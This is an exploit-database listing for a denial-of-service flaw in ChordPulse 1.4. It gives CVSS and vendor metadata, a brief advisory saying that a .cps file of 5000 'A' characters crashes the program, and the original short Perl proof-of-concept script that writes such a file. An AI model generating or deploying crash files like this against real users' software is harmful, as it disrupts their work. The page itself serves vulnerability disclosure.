ChordPulse - exploit.company

vendor:

ChordPulse

by:

MadjiX

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: ChordPulse

Affected Version From: 1.4

Affected Version To: 1.4

Patch Exists: Yes

Related CWE: N/A

CPE: a:chordpulse:chordpulse

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

ChordPulse <1.4 Denial of Service Vulnerability

A maliciously crafted .cps file can cause a denial of service in ChordPulse version 1.4 and below. By creating a file with 5000 'A' characters, the application will crash when the file is opened.

Mitigation:

Upgrade to the latest version of ChordPulse to mitigate this vulnerability.

Source

Exploit-DB raw data:

# Vendor: http://www.chordpulse.com/
########################################################################################
#                                                           _                          #
#                           .-----.--.--.--.----.----.-.---| |                         #
#                           |  _  |  |  |  |     |  -__|  _  |                         #
#                           |   __|________|__|__|_____|_____|                         #
#                           |__|        By MadjiX                                      #
#                                      Sec4ever.com                                    #
########################################################################################
#Title : ChordPulse <--- 1.4 Denial of Service Vulnerability                           #
#author : MadjiX <Dz8[]Hotmail{}com>                                                   #
#Gr33tz : His0k4 , Bibi-info , volc4n0                                                 #
########################################################################################
my $file="madjix.cps";
my $dz="\x41" x 5000 ;
open(MYFILE,'>>MadjiX.cps');
print MYFILE $dz;
close(MYFILE);